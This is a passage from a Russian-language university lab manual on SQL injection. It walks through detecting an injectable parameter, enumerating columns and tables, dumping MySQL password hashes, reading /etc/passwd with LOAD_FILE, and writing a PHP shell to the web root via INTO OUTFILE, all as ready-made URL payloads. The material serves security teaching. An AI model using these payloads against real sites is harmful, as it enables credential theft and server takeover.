
- •1. Общие указания по выполнению лабораторных работ
- •2. Программное обеспечение, необходимое для выполнения работы
- •3. Ус т а н о в к а и конфигурирование по
- •4. Выполнение лабораторных работ
- •4.2.1. Выявление уязвимости веб-приложения к sql-Injection
- •4.2.2. Анализ бд через sql-Injection
- •4.2.3. Некоторые сложности при проведении атак способом sql-Injection
- •4.2.4. Атака типа Deny Of Service через sql-Injection
- •4.2.5. Другие типы sql-Injection
- •4.2.6. Защита от sql-Injection
- •5. Варианты заданий для выполнения лабораторного практикума
- •6. Список источников информации, полезных при выполнении лабораторных работ
4.2.1. Выявление уязвимости веб-приложения к sql-Injection
SQL-Injection - уязвимость, возникающая вследствие недостаточной проверки принятых от пользователя данных, в результате чего данные могут содержать последовательности, воспринимаемые СУБД как команды.
Зачастую, о наличии SQL-Injection могут сказать ошибки, явно указывающие, что произошла ошибка в SQL-запросе. В тоже время о наличии ошибки в SQL-запросе можно судить и по косвенным признакам.
Для проверки, полностью фильтруется некоторый параметр или нет, передадим программе несколько измененные значения этого параметра.
Например, вместо http://site/test.php?id=12 передаем.
http://site/test.php?id=12'
http://site/test.php?id=aaa
http://site/test.php?id=13-1
Если последний запрос выдаёт страницу, аналогичную http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии уязвимости в нефильтруемом параметре.
4.2.2. Анализ бд через sql-Injection
Допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12
Наличие подробных сообщениях об ошибках, с текстом SQL-запроса, в котором произошла ошибка, сведёт трудность эксплуатации SQL-Injection к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.
Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно всё равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).
6
В частности, возможна ситуации, когда при ошибке возвращается код ответа 500, или происходит перенаправление на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.
Для того, чтобы выявить эти второстепенные признаки, следует составить http-запросы, про которые известно, какой приведёт к правильному (но возвращающему пустой вывод) SQL-запросу, и какой приведёт к неверному SQL-запросу. Например, при не фильтруемом параметре id:
http://site/test.php?id=99999, вероятно, будет возвращен пустой результат, в то время, как
http://site/test.php?id=99999' должен породить ошибку.
Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и БД.
Рассмотрим случай, когда SQL-Injection происходит после where. Если мы рассматриваем СУБД MySQL, то получение информации из БД может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union.
1. Количество полей между select и where
Пробуем последовательно, пока не получим верный запрос:
http://site/test.php?id=99999+union+select+null/*
http://site/test.php?id=99999+union+select+null,null/*
Более, того, если не имеется возможности отделить неверный запрос от возвратившего пустой результат, можно сделать так:
http://site/test.php?id=12+union+select+null/*
http://site/test.php?id=12+union+select+null,null/*
Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL-Injection.
После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where
2. Номер столбца с выводом. Нам понадобится знать, в каком по счёту столбце происходит вывод на страницу.
При этом, если на страницу выводится несколько параметров, лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text -лучше всего). Такими полями могут быть, например, описание товара, текст статьи и т.д. Ищем такое поле:
http://site/test.php?id=9999+union+select+'test',null,null/*
http://site/test.php?id=9999+union+select+null,'test',null/*
7
И т.д. до тех пор, пока не увидим слово test в нужном нам месте.
Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.
Здесь можно столкнуться с проблемой: в скрипте, возможно, имеется проверка на не пустоту одного из параметров (например, id). Тогда придётся воспользоваться следующим свойством MySQL: числовой тип данных может быть приведен к любому типу данных без возникновения ошибки, причём так, что переменная сохранит свое значение.
• http://site/test.php?id=9999+union+select+1,2,3/*
Этот же способ пройдет и там, где кавычки экранируются.
Открытие комментария добавлено для того, чтобы отбросить остальную часть запроса, если она имеется. MySQL корректно реагирует на незакрытый комментарий.
3. Имена таблиц
Теперь можно перебирать имена таблиц.
• http://site/test.php?id=12+union+select+null,null,null+from+table1/*
Правильные запросы будут соответствовать существующим именам таблиц. Как правило, имеет смысл проверить существование таблиц users, passwords, regusers и т.д. и т.п.
4. Системная информация
У нас уже достаточно информации чтобы составить такой запрос.
• http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*
В случае, если имеются права на select из базы данных mysql, этот запрос вернет хеш пароля, который в большинстве случаев легко расшифруется. Если выводится только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам
http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0 ,1/*
http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1 ,1/*
8
Кроме того можно узнать много интересного:
http://site/test.php?id=9999+union+select+null,DATABASE(),null/*
http://site/test.php?id=9999+union+select+null,USER(),null/*
http://site/test.php?id=9999+union+select+null,VERSION(),null/*
5. Названия столбцов в таблице Их аналогично, можно перебрать:
• http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и т.д.
6. Получение текста файлов через SQL-Injection
Если пользователь, от имени которого осуществляется доступ к БД, имеет права file_priv, то можно получить текст произвольного файла:
• http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd') ,null/*
7. Запись файлов в веб-директорию (php shell)
Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и т.д.), а также знаем имя хотя бы одной таблицы (mysql.user, например, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа:
• http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+o utfile+'/usr/local/site/www/banners/cmd.php'/*
При этом конструкция from table1 обязательна. Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например, в директорию /tmp/, и затем подключить этот файл оттуда при помощи уязвимости в include.
8. SQL-Injection после limit
Довольно часто уязвимость к SQL-Injection возникает внутри параметра, передающегося к limit. Это может быть номер страницы или нечто подобное.
9
Практика показывает, что все вышесказанное может быть применено и в этом случае. MySQL корректно реагирует на запросы типа:
Select ... limit 1,2 union select....
Select ... limit 1 union select....
Если необходимо, чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запроса:
• Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....